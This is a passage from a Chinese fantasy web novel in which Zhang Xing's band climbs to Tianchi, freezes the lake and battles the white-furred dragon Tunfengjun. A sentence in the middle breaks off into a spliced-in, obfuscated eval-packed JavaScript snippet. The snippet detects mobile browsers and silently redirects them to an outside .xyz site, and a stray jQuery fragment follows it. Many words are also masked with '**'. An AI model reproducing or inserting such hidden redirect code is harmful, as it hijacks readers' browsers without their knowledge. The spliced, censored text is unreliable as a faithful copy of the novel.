大量的人事、战略安排,显得过于仓促和混乱……河北倒还算是某种计划之中,可是北地呢? 一进入北地,一切都乱了! 李定的战略安排固然是张行本人深思熟虑许久的,但却从未与其他人商议过;荡魔卫的合并当然是好事,但跟河北降人不同,北地这里的豪杰注定是不清楚黜龙帮内里的,更不要说还有荡魔卫的架子做遮护,想要彻底吸收也不知道要耗费多少心力和人心;还有这次黜龙的事情……道理上似乎没有问题,就该来,也应该能胜,但万一呢?万一吞风君就是强的厉害,黜龙帮损兵折将怎么办? 最直接一条,万一你张行死在这里,让黜龙帮怎么办? 一念至此,雄伯南倒是放下了心里之前的一些沉重,正色来言:“其实,说来说去,帮里最有本事,最能得人,最有念想的,难道不是首席本人吗?我之所以忧虑,其实还是担心这一次会得不偿失……只是,事情既到了这个份上,多言无益,倒不如好好修养,后日无论如何将你护住了。” 张行也不矫情,直接点头:“那就劳烦天王了。” 话说完,二人就在帐前雪下一起喝了淡酒,吃了肉和饼,然后各自回帐休息去了。 张行与白有思同帐,之前白有思一言未发,此时却用真气隔绝了帐篷,然后好奇来问:“看这个情形,三郎你所谓帮里有念想的人其实都不愿意上山,因为都担心黜龙帮前途……咱们二人也有念想,也都重视黜龙帮,为何却都想着上山?” “因为咱们俩有私心。”张行解开皮甲,放在一侧,躺在柔软的熊皮上,扭动了一下,方才给出答复。 “什么私心?”白有思追问不及。 张行没有直接回答,而是先抬手指了指上面——不是帐篷,而是天上,然后才来回复:“咱们俩都有修行通天的私心,咱俩也知道这次黜龙是咱们的契机……这方面的心思,其实跟刘文周是一样的……也的确因为这个,在考量事情上跟帮里有些偏差。” “若是这般说,咱们俩岂不是有些因私废公?” “有因私,没有废公。”张行认真更正道。“黜龙而安荡魔卫,安荡魔卫而定北地,定北地则取后方兼出巫地,这是符合咱们黜龙帮战略的……唯一的是问题是,咱们因为这事是个人的契机,所以答应的过快,事情推进的也过快了……就是这个过快,弄得大家有些不安。” “那就好。”白有思应了一声,也躺了下来。 与此同时,外面的雪花落下时扑簌声也再度传来……两人都没有说话,也都没有睡觉……这不是什么修为到份心血来潮,而是单纯的在想什么,或者说意识到什么。 其中,张行想的事情很清楚,他在想自己与白有思的关系。 众所周知,他们俩是夫妻,这毫无疑问,无论是外人还是他们自己都承认、接受、尊重这个关系。与此同时,另一个不得不承认的事实是,他们的关系跟普通夫妻并不一样。 他们之间的家庭生活在他们各自的生活中占比极低,他们的相聚时间根本就是跟着各自的公务安而被动出现的……这种情况,在黜龙帮内其实并不少见,乱世与战争逼迫着所有人都是如此,这一点从李定一直到今年才有孩子就可见一斑。 然而,别人不晓得,张行和白有思却都明白,被动归被动,但两人都不在意这一点。 两人都不在意家庭这个概念,也对家庭生活没有兴趣。 他们在意是自己。 张行很快就得出了这个答……但这个在意自己,不是那种简单的自私自利,而是一种寻求各自追求而不顾其他的意思,也就是张行自己刚刚跟雄伯南以及白有思说的那个念想。 朝着这个念想努力向前,力有不支的时候找对方借个力,累的时候靠着对方歇一歇,而考虑到二人的追求其实都是超脱世俗的,说一句两人是道侣似乎更加贴切。 也不知道身侧之人有没有跟自己一样想到这一层? 周围营帐内,孙思远、刘文周……乃至于白金刚那些人,又都在想什么? 胡思乱想之中,渐渐昏沉,再一睁眼,已经是天明。 张行起床,却见外面早已经是银装素裹,雪花不大,积攒一夜,足以覆盖山野,讨伐军休整的营地在树林间,一侧又有峭壁阻碍,倒也罢了,可用过餐后,众人甫一出发,便察觉到山路积雪已经在一定程度上影响了出行。 “三哥。”王叔勇从山道上下来,指着没到小腿的雪痕提醒。“上面是昨日下的新雪,下面昨日旧雪已经结冰了,这般道路,要是不施展手段,咱们今日只能走昨日一半路程,等到天池怕不是还有两三日才行。” 张行面色如常……倒不是说心中早有对策,而是说既然来上山黜龙,这种阻碍虽然客观存在却不该放在心上才对……只不过,他身为首领,需要做出决断,并为之负责罢了。 “这般积雪,加上雪还不停,便是施展手段,手段小了,怕也会弄巧成拙。”张行望着满山白色眯了眯眼睛,然后看向一人。“孙院长,大家都想见识一下你的手段。” 孙思远迟疑了一下,看向刘文周:“阁下的手段能遮掩多广?” 刘文周微微皱眉:“一千步总是有的,但我不晓得能不能遮住大宗师的真气波动……毕竟以前也没大宗师让我实验。” 此言一出,周边人都来皱眉……有人皱眉是担心刘文周的真龙精血遮不住大宗师,引来真龙,而有人皱眉是意识到,刘文周之前一直在哄骗大家,明明不晓得自己的手段能否遮住大宗师,却在孙思远抵达后一次未提,俨然是为达目的刻意遮掩。 而孙思远也不得不来看张行。 张行倒是心大,只是扶着腰中**点点头:“无妨,都到了这个份上,何必纠结,真有真龙来了,咱们就在这里与他作战!一路顶上天池灭了祂!孙院长尽管施展手段!” 有人做主便行,众人松了口气,都来看大宗师手段。 孙思远得了令,倒也没有藏私,只见他背着一个药葫芦,亲自走在最前面,抬手一指,手中离火真气凝结,前方数百步外的山道上,便赫然出现了一座虚化的红色火盆,火盆一立,足足丈余高,而方圆数百步的积雪便如临骄阳,登时自内向外整个化开。 甚至,因为真气影响,雾气居然也是在空中十余丈的位置出现,雪花也不见落下,以至于丝毫没有影响视野,眼看着露出了地面,又将上山的石阶显了出来。 见此威风,张行心中大定,亲自带头向前,后方诸人踩着包了草的六合靴,也赶紧跟上,一起踏上湿漉漉的石路,沿途虽偶有泥水,外包的草垫也能轻松应付,一时间,竟然有些如履平地之感,比昨日还要轻松。 与此同时,孙思远虽然看起来行动缓慢,却始终在队伍最前方,每过数百步,来到他所立的火盆之前,伸手一摆,火盆便自行往前走,隔几百步再立,如此往复,丝毫不滞。 就这样,众人轻松向前,速度惊人,连过数个补给点都不停歇,却始终没有见到真龙被惊动出来,反而愈发加速向前。 很快,下午时分,一件意料之外情理之中的事情发生了——他们追上了第一波出发的队伍。 很显然,前者没有大宗师开道,甚至里面有颇多贾越营中工匠,积雪加新雪自然艰难,以至于被后来者追上……但无所谓了,当日晚间,他们居然在群情振奋下抵达了预定的那个山坳,见到了那些待组装的**车。 更重要的是,这里距离天池,只有半日的距离了。 实际上,这一次宿营,大家讨论的就不是真龙来不来的问题了,而是担心吞风君直接跑了! 很显然,大宗师的威风和行军的顺利,使大家催生了一点信心……这当然是好事,因为张行等人心知肚明,参照之间分山君、避海君的情形,这些人中的大部分见到吞风君时,无疑会惊惶沮丧。 那是真龙之威。 当夜无事,翌日,也就是腊月二十一,众人一早起来,先一起用餐……在张行的专门交代下,他们甚至用了明火来烤面饼,然后夹着肉吃。 饱餐一顿后,众人收拾妥当,面对上了此行两日内的第三个犹疑之处: 且说,因为先头部队被雪所挡,而主力又来的过快,以至于前者没能提前抵达山坳营地对**车进行组装,而昨夜为了休息妥当,张行也没有允许他们连夜组装,以至于现在不得不面临一个选择,那就是主力部队要不要等候**车组装完毕,再行出发? “要多久?”张行向贾越发问。 “快的话,一个多时辰。”贾越面色严峻。“但不能保准。” “那就不等了。”张行这次依旧做了果敢向的选择。“真开战的话,肯定不是一两个时辰的事情,而且真龙真气没有耗到一定份上,**车不大可能起效用……我们先去,你们不要急,只要能赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168024|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到就行……万一路上泥泞,没法用**车,就弃了这些,让工匠下山去,你们几个过来就行。” 贾越满心焦躁,却也只能答应。 此时已经雪停,张行转过身来,就在这山坳里的简易营地里观察了一下营地情况,然后喊了一人:“许敬祖,点好名吗?” 许敬祖慌张过来,将一纸文书递上:“回禀首席,没有算是贾大头领他们第一拨人,只我们一行,宗师以下,自首席算起,到十三金刚里不是头领的几位同列,共有要害者合计二十九人,头领及十三金刚以下,踏白骑内,全员八百三十四人,已经全员应号了……不过,有三人似乎是两日赶路,有些病症,但他们也应了号。” “让他们留下守营地……煮开水,等着我们回来做接应。”张行立即分派,却又想起一事。“二十九人,是算上你自己了吗?” 许敬祖一愣:“自然。” “你也不用去了。”张行摆手道。“让你随行是因为你跟贾越之前上过山,后勤计划也是你安排的,现在到了这里,你已经算是尽职尽责了,一介文书,没必要去拼命……留下吧。” 许敬祖思量了一下,立即摇头:“首席,我知道自己修为不足,但确实想去观战,而且不是我故意表忠心,我之前去天池看了三回,那地方太大,真开战了,若是还能波及到我,那留在这里也怕是也有可能丧命……不如去见识一下。” “好,那就走吧!”张行按了下对方肩膀,然后转身扬声来做询问。“还有谁要说什么吗?” 一时没人应答,倒是营地间开始渐渐安静了下来。 停了片刻,冬日山上的太阳开始映照在山坳上方的岩壁上,下方营地内则彻底安静无声。 张行等了片刻,忽然意识到,这些人是帮里的精英,他能说的平日早说了,这些人也早听了,临时的演讲对他们来说反而显得露怯,便点点头:“那好,大家跟我走,上天池黜龙。” 说完,带头出了营地。 队伍一如既往开始赶路,但这一次跟前两日完全不同,他们离开山坳,只走了几百步,回到原本的大路,只是一拐,便霍然开朗,目视所及,天池就在山路远端,遥遥可见,而且随着水波晃动,竟将冬日早上的阳光直接映射了过来。 而神奇的是,非但几十里方圆的天池没有结冰,就连金光闪闪的天池周边居然也没有任何积雪,乃是黝黑一片的土地与岩层,面积极大,地势也平坦。 众人望山而走,虽然天池就在视野中,可还是走了足足两个时辰,临到正午,方才来到天池跟前。 然后,大部分人就懵了,包括刘文周都明显有些慌张。 原因无他,天池在山顶微风的吹拂下波光粼粼,安静的过了头,却并未见到任何真龙踪迹。 没了! 平素总喜欢在天池上方盘旋,一声龙吟震动半个北地的吞风君半点影子都无! 联想到过于顺畅的来路,大家自然会想到某种可能。 “这要是吞风君灵智高深,晓得我们来历和手段,每次我们一来,便偷偷往大兴山飞过去,躲个三五月,我们又能如何?”王叔勇明显有些丧气,以至于有些愤愤。“刘公,你的那个什么寒冰之精便是有效,难道能一个夏天不化吗?之前几千年里,那些人是不是也这么无功而返的?” 刘文周张了张嘴,硬是没有吭声,只好停下对真龙精血的催发,转而以手握着自己的那个冒寒气的银牌去看在场修为最高之人。 然而,即便是停下了真龙精血,孙思远立在湖畔闭目许久,睁开眼后也还是是摇了摇头:“老夫察觉不到祂在何处……” 周围人愈发茫然,这一次,目光理所当然的转移到了指挥者张行身上,这才发现,张首席一直盯着地面来看。 实际上,张行从刚刚来到天池边缘,便注意到了这里的地面……之前远远看过来黑色的土地其实并不是黑色的泥土,而是一种黑色的、坚硬的碎石滩。 众人目视之下,张行又踩了一踩脚下那硬的过分还有些光华的黑色碎石凝块,然后捡起了一把黑色碎石在阳光下仔细辨认。 过了一会,他将碎石扔下,指了指眼前波光粼粼的大湖,言辞清楚:“不要犹豫,吞风君就在下面,我走到半路上便察觉到了……” 刘文周一愣,然后不由狂喜,便将装着真龙精血的瓷瓶收起,然后手持银盘向前。 周围人也在王叔勇、徐师仁等人的呼喊下,开始整队。 然而,可能刘文周自己都没有想到过自己手里的寒冰之精起效如此之快——当他施展真气将银牌卷放入湖中,只是一瞬间,原本还波光粼粼的湖面上立即泛起一丝流动的白色絮状物,然后迅速扩展开来。 不过是片刻之间,便填充了大半个湖面。 这个时候,队伍刚刚开始进行展开,而那些絮状白色物却已经停止了运动,并且开始消失不见。 很快,湖面再度开始反光,却不再是粼粼之态,而是一闪而过的那种……这个时候前排的人已经注意到,湖面开始缓慢“上涨”了。 这意味着,不仅仅是表面,天池下方的水体也在快速的凝固。 这个时候,队伍才按照操练展开了一半,然后,地震了。 很明显的山体晃动,然后是冰湖内剧烈的响动,是那种犹豫骨头摩擦一般的咯吱声,只是声音的格外的巨大。 意识到什么的雄伯南将手中大旗高高展开,遮护在众人上空,并回身嘶吼:“先不要再动,立即准备结阵!” 话音刚落,湖中心位置,随着冰面破裂,宛若长满了白色绒毛的一个巨大鲶鱼头,忽然就从碎裂的冰渣中刺了出来。从更远的地方望去,这鱼头在周长几十里的天池冰湖居然占据了相当的比例,好像一只真正的鲶鱼从一个井口冒出来一般,冰渣都直接飞到了冰湖之外。 号称要观战的许敬祖此时已经瘫倒在地,但他根本没有去顾忌头顶纷落的冰雹,而是目瞪口呆看向自己的侧面。 彼处,冰湖的边缘,一只收拢着翅膀的巨大金色威凤不知何时现身,此时缓缓抬头看向湖中心,仿佛是被那条巨大白毛鲶鱼打扰到在这个满水的井口饮水一般。 而随着威凤抬起头来,鱼头努力转动,一双巨大的红色双目看向了这只纯由真气构筑,却格外完整的巨大威凤。 确实格外完整,跟上一次在鹿野泽只有翅膀和大略凤头凤尾的威凤不同,这一只非但更大,以至于跟湖中央的“巨鱼”相匹配外,还有着细密且颜色不一的羽毛,有着明显的腿部,甚至有两只眼睛,和一张利喙。 下一刻,意识到危险的双方不知道是谁先谁后。 满是白色绒毛的巨大鱼头当空一吼,竟有无数熔岩一般的真气火焰从这位号称寒冰真气来源的吞风君口中喷涌而出,落在周边湖面,立即带起无数滋啦声与白烟。 而随着祂这一吼,一只宛如白色蝙蝠一样的翅膀带着血痕从冰渣中顶起,然后立即展开,以足足百丈的巨大幅度展开,复又拍在了一侧湖面上,将冰面拍的凹陷了下去。 另一边,不过数里的距离,金色威凤忽然一蹬腿,高高跃起,翅膀都未来得及打开,便往啄前去。 可临到跟前,威凤却双腿向前,头身后仰,顺势张开嘴来,口中一道金光直直射向了巨鱼这一侧的红色眼睛。 巨鱼明显具有神智,立即闭眼侧身,同时将蝙蝠翅膀展开,试图将自己的头部要害遮住。 威凤的腹部位置,张行目视着王叔勇和徐师仁双箭合并射出,亲眼看见那只翅膀从满是碎冰的湖水中高高抬起,遮住自己眼睛以后,全程没有在阵中发力,只是随波逐流随着真气鼓荡运动的他猛地转身,隔空将那面银牌十余丈外的刘文周手中夺来。 裹在真气中的刘文周没有反抗,因为他已经意识到对方要做什么了。 而张行拿到冰凉的银牌,却是毫不犹豫,将生平之真气奋力从丹田运转开来,以寒冰真气的形式卷着那面已经小了一圈的银牌往那只翅膀下方的巨大冰窟中砸去。 银牌入手,瞬间碎裂。 与此同时,吞风君再度一声嘶吼,却不是**,而是剧痛之下的发怒……原来,随着银牌碎裂,吞风君那只翅膀下方,或者说祂突破冰层的核心位置,再度被封冻,而且封冻的极快,范围极广,几乎瞬间将吞风君周边全部冻住。 可是,祂的那只翅膀还在顺势往上扬起,却是一下子将翅膀下方肋部的龙皮撕裂了数道足足七八丈的口子,真龙之血一下子染红了数里刚刚凝结的冰面,引发了密集的血气蒸腾。 但是,祂没能借机挣脱出来。 “就是现在!” 片刻后,停在了湖面的威凤内部,张行根本没有说话,却瞬间将心意传达给了正在前方显化的白有思,甚至可能是整个真气威凤所裹挟的所有人。 后者会意,往前一扑,顺势张开双翅,仿佛滑翔一般,绕到了巨大鱼头的后部,整个身体扑了上去,巴着对方刚刚垂下的肩膀,朝着对方的一只眼睛,狠狠啄了下去。 吞风君第三次怒吼了起来。 山下神仙洞内,正在跟陆夫人当面喝茶的大司命殷天奇眼皮一跳,立即往上看去,手里茶撒了都未察觉,陆夫人更是一个趔趄,差点跌倒,而之前数息内,已经连续两次失态的其余荡魔卫众人,此时却茫然不解,他们居然没有听到这次吼声。 倒是相隔数百里的苦海内,数息之后,陡然卷起一个巨大旋涡,但也旋即消失不见。 更远的晋北小天池内,好像在钓鱼的王怀绩原本已经昏昏欲睡,此时也猛地惊醒,直接栽入满是乌鸦屎的烂泥地里。 大河滔滔,宛若寻常,而更奇怪的是,大河以南,无论是大宗师还是真龙所在,则全都毫无反应,仿佛什么都没察觉一般。 回到眼前,对于天池上的黜龙军来说,吞风君这一声怒吼,却堪称惊天动地。 不知道是吼声本身还是真龙眼睛里蕴藏的巨大真气喷击,威凤内部,整个讨伐部队的人,从心脏位置的孙思远开始,到腹部观察形势的张行,再到各处寻常奇经,都猛地察觉到眼前血红一片,继而头晕目眩。 更有一些居于前端之人,如王叔勇与徐师仁,几乎同时吐血,血水飞出,却又在真气海中翻滚起来,完全不往下落,便是白有思都觉得胸口翻涌。 事实,就是这一吼,刚刚趁机完成战术动作的巨大真气威凤再难支撑对吞风君肩部的附着,虽然大略形态还在,却是整个身体垮了下来,落在了冰面上,一时难以再度振翅。 “还等什么?!” 回过神来的张行大怒,就在坑坑洼洼的冰面上放声呵斥。“回到寻常真气军阵就不会打仗了吗?分组向前,借着真气大阵发力,**刺祂翅膀下的伤口!锤子砸祂的翅膀!便是兵器在空中丢了,也要与我薅掉祂一撮**来!” 话音未落,之前分左右翼的秦宝与尉迟融已经率先扑出。 第七十章 **行(13) “你们不要动!” 血涌之际,张行居然顾得及回头喝止了队伍中的几人。 冲在前面的白金刚一愣,还未及反应,便被身后庞金刚等人拽了回来。 在这之前,白有思已经一身当先,持剑飞出大阵,此时虽然闻得身后呼喊,却不耽误她长剑一摆,即刻腾空而起,俨然是往这吞风君正上方当面引敌去了,而刘文周也充耳无闻,紧随其后……这使得其余人也都立即意识到,张行喊的不是他们,便不再迟疑,纷纷涌出阵来,扑向前方冰面上吞风君那巨大的身体。 到此为止,战斗立即转化为了阵地战。 只大宗师孙思远携大部分踏白骑坐镇后方维持大阵,牛河则持丝线联结出阵众人没有动弹而已。 张行也亲自持弯刀押后出阵,抬头一看,却如先前出来的人一般无二,当场愣了一愣……没办法,头顶巨物虽然刚刚完成了近乎神通一般的保命嘶吼,此时正在气衰,却依然因为体型巨大而引发了夸张的动静,对于在冰面上立定的凡人而言,祂只是粗粝呼吸似乎都在雷鸣,只是扭动身体似乎都如天地翻转一般。 这种场景,正常人不愣一下就奇了怪了。 可除此之外,临此巨物,张行居然还有了一点额外的、不合时宜的想法。 须知道,吞风君一直都是有一些传说形象的,人们远远看到祂在大兴山上方展翅高飞的体型,加上与雪山相映的洁白之色,以及祂对天池的霸占,理所当然认为这是一只身上长满白色鳞甲的双翼真龙。 但实际上,漫长的时间里,总有极少数靠得近的目击者会带来某种纠正——吞风君身上似乎不是鳞甲,而更像是白色毛发,不像是水生,而似乎是兽形。 这不符合认知审美,却更符合情理。 而回到眼前,这厮被冰水急冻,只露了半截身子,连翅膀都只露出半个,全身毛发要么打湿要么结冰,弄得一团糟,却居然是如一个长毛的胖头鲶鱼形象。 这未免对不住吞风君的名号,甚至有些对不住之前数月自己与许多人的小心谨慎、战战兢兢。 脑中质疑完对方的形象,张行人已经逼近那如山峦一般的巨物,果然是一层白色毛发……而且,虽然从宏观来说,这厮身上的毛根本不算是羽毛,而是确切的贴身绒毛外加稀疏硬**,可对于寻常凡人来说,这层绒毛也足以成为某种令人难以逾越的关卡。 冲在最前方的乃是刘黑榥与韩二郎二人,其中韩二郎虽然有奇遇,成年后开了丹田,引了真气,却还未凝丹,只能手持**借着大阵的离火真气来刺,结果居然直接在厚重的白毛上滑开;而刘黑榥早已经凝丹,便运行自己的弱水真气包裹**,同时牵引身后大阵气海,然后高高跃起来刺,竟只割掉了几根**,染的周遭**簇发黑,也不能直接破防。 其余人也多类似。 但这个时候,已经不能停下来开会研究如何作战了,所有的法子都要看个人临时尝试了。 王叔勇和徐师仁二人是最早找到有效伤害手段的,他们转到一侧,举弓仰射,真气团裹着箭矢飞行了十几丈高,爆裂在之前吞风君被凝固时挣扎撕扯开的伤口处,使得血肉横飞。 黜龙军在下方,甚至能察觉吞风君在随着这些暴裂在本能挣扎……只不过天上还有两位宗师在对吞风君发动攻击,并且时时奏效,使得后者总不能顾忌这里罢了。 不管怎么说,王、徐二人的手段非常有效。 但是,其余人一则修为赶不上,二则也不擅长射箭,而且也没有那么趁手的弓箭,所以根本没法仿效。 刘黑榥等凝丹以上高手只能纷纷腾跃起来,去寻距离冰面不远的伤口,试图用近战突刺来仿效王徐二人,而韩二郎几位未凝丹的,干脆立即尝试用火攻。 此时,张行本人已经来到那堵“山”前,却见那本该是绒毛的存在却如半个寻常刀剑一般粗细,最短的也有两三尺长,长的干脆如长槊一般,而且相互层叠,冰渣血水乱做一团,韧性惊人……心中一骇之余,不耽误他挺起弯刀一试。 且说,张大首席本人的修为虽然一直没个说法,却素来有些神异,此时转出断江真气,一刀刺去,登时便切破绒毛,没入了肉中。 然而想想也知道,这刀与绒毛长短差不离,一刀插入对吞风君而言又算什么事呢?勉强能刺破皮? 只能感慨,这皮**鳞甲就天然就比什么真气护体更强悍。 一念至此,理所当然的,张行开始运转真气顺着弯刀送了过去……而很快,随着断江真气涌入对方体内,张行可以清晰的察觉,他的真气突破了某种桎梏,进入到了对方体内的某种“河流”之中,不是血管,而是真气脉络。 也就是这个时候,他立即确定了,或者说验证了两件事情——其一,吞风君体内的真气,的确不是什么寒冰真气,而是一种类似于火山熔岩感觉的真气,以至于甫一交接便察觉到对方真气中蕴含的热量来……实际上,他之前能确定吞风君就在冰湖下,也是因为察觉到了这份巨大的热量,刚刚吞风君第一声嘶吼喷出的熔浆也都符合这个认知,所以刘文周的猜测是对的,方案也是对的,这个寒冰之精效用极佳;其二,对方的真气极其庞大,集合成团,宛若山河,而自己这把刀只是当初在靖安台做公时用的寻常弯刀,紧靠这把刀,并不足以将自己的真气快速的输入进去与对方有效对抗。 没办法,那柄无鞘的惊龙剑是张行生平所用传导真气最好的一柄剑,但名字既叫惊龙剑,这次偷袭行动就没敢带上来,只依然让徐大郎佩戴。 至于说其余的……张行从靴子上摸出一柄金锥,往前面的肉墙一刺,轻易没入是固然,却碍于尺寸大小,连真气不能轻易突破进入对方脉络。 真要是指望着这个起作用,恐怕要先烧了吞风君的**,再扒了吞风君的皮,然后割开肉层,最后插入骨髓才能起效。 正想着呢,旁边几人已经放弃了火攻……果然,这些毛根本不怕烧! “换大**!”李子达大喊一声,对这些没有凝丹的人下达了新的指令。 话音刚落,回过神来的张行放弃了真气对抗,转而一手弯刀,一手金锥,弯刀来割对方皮**,金锥剜肉,不过片刻,便在这吞风君后背上划开一个方圆近尺的口子。 完成后,也不继续在对方身上掏洞,反而回头对那些**突刺也艰难的人呼喝下令:“不要慌张,往这里刺便是!” 李子达当先,**便来刺,**牵引身后已经变成红色的大阵真气海,居然直接将**攮入大半个身位,再一拔出,登时血涌出来,喷的周围冰面滋滋作响。 众人见到起效,不由大喜。 张行更是呼喊在空中去劈砍吞风君伤口的魏文达:“魏将军!你的刀阔,专做此事!伤口扯大一些,好让大家伙组成枪阵往上攮!其余人也都下来,专攻一点!” 闻得此言,不止是魏文达,便是王叔勇等人也都陆续落下……众人齐心协力,以魏文达与张行为先很快就割开了吞风君皮**,露出多个伤口,然后凝丹高手跟上,踏冰冲刺,扩大伤口,最后便是黜龙军三三五五组成枪阵,卷动真气,轮番冲击,而打开最外层半丈厚皮后,即便是奇经踏白骑的枪阵,都能深入伤口尺余,并将血肉卷出。 就这般,黜龙帮主力汇集,就在吞风君后背开了多个小口,然后自身后冰面上的红色大阵中轮番出击不停,若是居高临下来看,真真若蚂蚁反复啃食倒地巨兽一般。 “就是这般!” 刘文周不知何时也落下,看到这边情形后就在冰面上兴奋大喊。“就是这般!咱们用对了门路,吞风君被咱们偷袭得手现在根本不了了,倚天剑在上面,连祂的须子都给斩了一多半,我们就在下面,就这么挖进去,掏到祂心肺,莫说是一条龙,便是真的至尊也要死在这里!” 这话一如既往的癫狂和表达欲过盛,但这一次没有人嫌他烦,因为情况似乎就是这么个情况。 局势发展到现在,虽然一波三折,但总体而言,顺利异常。 话音刚落,似乎是呼应着刘文周的言语,忽然间,随着尉迟融一次猛冲,某个已经被弱水真气腐蚀到糜烂继而露出大洞的伤口再度被长槊贯穿,随即猛地飞出红黄交加的血流来!而且这一次跟之前的伤口出血完全不是一回事,非但出血量巨大且急促,更重要的是这血中居然弥漫着一种类似于硫磺的味道,同时热量惊人,飞出之后喷在尉迟融的胳膊上,登时融化了皮甲,激的尉迟融这般好手一个趔趄,散落在地上,更是瞬间消融了好大一块冰壳。 但冰壳上的水很快就重新凝结。 张行的洞察能力可能是这里最高的,但根本不用他,即便是在场的随便一个奇经修为踏白骑也都能立即察觉到这股血液中蕴含的夸张真气。 刘文周大喜过望,继续呼喊:“事成了!挖到祂精血了!精血流尽,祂必死无疑!你们换个地方继续挖!我来破这个口子!” 说着,不顾尉迟融还在扶着自己胳膊,便用腰间取下一个瓶子,打开瓶塞,运气掷入伤口洞中,只是一落入,便见到伤口周边的血肉立即不自觉扭动起来,然后便有黑水涌出,将洞口周边血肉消融,真龙的精血流速更快。 众人来不及高兴,也来不及惊叹,甚至尉迟融都来不及告知他的胳膊已经抬不起来,怕是要丧失一半战斗力。就在这时,头顶那巨兽明显是被这一下给刺激到了,不顾之前的萎靡再度努力扭动了起来,只是一扭,便有风雷之势。 然而,祂似乎真的是被这寒冰之精所凝的整个湖泊给固住,即便是挣扎,却也只是将背胸上的伤口撕裂愈甚,并不能撼动整个凝结成块的天池以及改变祂现在这个困窘之势。 见此形状,下方原本两股战战的黜龙军几乎要欢呼了出来。 可下一刻,随着吞风君努力的挣扎,祂那支耷拉着的巨大单翅忽然抬起展开,然后朝着黜龙帮军阵的大略方向砸了下来。 众人仰天看这一幕,各自惊骇……因为便是他们躲得了,可身后已经失了威凤形状的真气大阵也仓促间难以移动,里面的许多踏白骑便要遭殃,而若没了这八百奇经做支撑,想再有所为,怕是也要艰难起来。 “都回来,重新结阵!”关键时刻,身后一人腾空而起,赫然是一直押后未曾出战的雄伯南,其人一边呼喊,一边将手中大旗展开,俨然是早有准备,否则决难这般迅速。 前方出战的精锐各自身上真气奋起,匆匆折回,张行同时察觉到,身后大阵中那位大宗师纹丝不动之余,真气冲天而起,恍若一座巨塔立于冰面。 但是,绝大部分人的注意力都还在上空,紫色的帷幕展开,替天行道四个大字竟然映照在了天空之上,旗帜的显化如之前白有思的威凤一般脱离了现实,又从另一个层面进入或者塑造了某种现实。 真龙的单翅撞上了帷幕,明显受到了迟滞,但紫色帷幕也发生了明显的变形,而且下沉之势依旧。 不过,这已经给了出击精锐重新归队的时间。 张行原本已经准备尽全力协助大阵运转,但眼瞅着那只已经很慢的翅膀并无多少真气,只是纯靠力量,便居然纹丝不动,立在阵外负手旁观。 果然,那翅膀在距离下方大阵与冰面数十丈的位置明显再度一挫,然后脱力滑到了百余丈外,砸的冰面震颤,冰屑飞散,四面八方宛若下了一场冰雹。 冰雹落定,众人看的清楚,便是那翅膀也有些形状变形扭曲,而紧接着,又是一声龙吟。 但这今日第四声龙吟,却明显有些悲愤哀鸣之态,力气都不足的样子。 这跟祂背后的欢呼形成了鲜明对比。 “祂不行了!真龙如今也是待宰羔羊!兄弟们,今日便是功成名就的时候!”根本不需要指挥,全军继续投入到了在吞风君背上挖洞的工作中去。 “小心龙血,不要往脸上抹,这血不光是发烫,挨着了还有内伤,尉迟大头领的胳膊都抬不起来了!”终于有人发觉尉迟融受伤了。 “去几个人,看看那个翅膀有什么说法,能不能先断翅膀?” “首席,首席!”作为战场上情绪高涨仅次于刘文周的人,刘黑榥甚至找到了张行主动献策。“能不能换成魏大刀去做阵底……弱水真气能侵蚀伤口,比断江真气都更利索!现在的离火真气只能是个基本的用处!” “不可以!”立在冰面上的张行莫名有些焦躁。“大宗师做阵底咱们才有底气应对攻击……” “首席你看,祂都这样了,还有什么攻击可应对的?”刘黑榥指着身后最大的那个伤口也有些焦躁。 张行顺着对方指向去看,果然,吞风君哀嚎挣扎不成之下,伤口愈发崩裂,已经有了房子大小,内外血肉满地不说,加上祂自己那泛黄的精血,弱水真气侵蚀出的黑斑,视觉效果委实惊人。 实际上,空气中似乎还有股肉香味,明显是离火真气充盈的铁枪头与龙肉摩擦的效果。 张行甚至亲眼看见,一名轮换的踏白骑抱了一块龙肉回了阵中,也不知道是哪里的传说起了影响。 不过,当这位首席的目光再度转向上方,看向对方那高耸的背身,比较起对方伤口大小比例后,还是坚定的摇了下头:“不行!老刘你想想,若是祂真不行了,咱们就这般慢慢耗下去等**车到又如何?可若是祂还有手段,魏文达关键时候可救不了咱们!” 也不知道是这话说的有道理,还是一声老刘让刘黑榥心里舒坦了,这厮应了一声就跑回去挖洞了。 人一走,张行继续站在冰面上袖手“监工”,心中却愈发焦躁,双目则不由自主的往冰面下方去看……原来,他从黜龙军挖洞成功以后就一直在用真气观感来观察这只被困住的庞然大物,而从刚刚喷出精血时他就察觉到了某种不对劲的,对方体内那团堪称宏伟的黄亮色真气团虽然有所流失,但减少的速度却似乎不及流出的那么多。 而刚刚,随着对方那山穷水尽一般的挣扎,却是终于让他察觉到了异处所在——对方胸腹内那团庞大的发黄发亮的真气团下方居然还遮蔽着一个小尾巴,一直往下而去,深不可见。 是连着火山地脉? 是这位吞风君自己的特殊器官,又或者是单纯的神通手段? 是不是只要有这个尾巴在,祂就能源源不断的从下方汲取真气? 这种情况又将能持续多久? 而且,抛开这个不说,最关键的问题依然是对方体内那庞大如山的真气团……按照修行上的说法,真龙庞大的体型本意上就是为了承载真气,所以,肉体摧折到这个份上的吞风君其实根本没有到山穷水尽的地步……那祂会怎么做呢? 迟疑了片刻,张行转身回到阵中,直接寻到孙思远:“孙院长,大阵能撑到什么时候?” 坐在一个冰台子上的孙思远一愣,旋即回复:“若是这般行动,可以撑个三五日。” “那若是重化为凤呢?”张行继续来问。 “要是大家都回来,拼尽力气,还是能支撑片刻的。”孙思远也继续解释道。“刚刚那一声,不是寻常嘶吼,我的气息现在还在乱,阵内踏白骑们的经脉也都在酸胀……不过,我见白三娘天资秀出,她做显化,我们出些力气,还是应该能聚成的,只是不能长久,其余人委实撑不住。” “那这真龙能流三五日精血不死吗?”张行想了一想,转头来问。 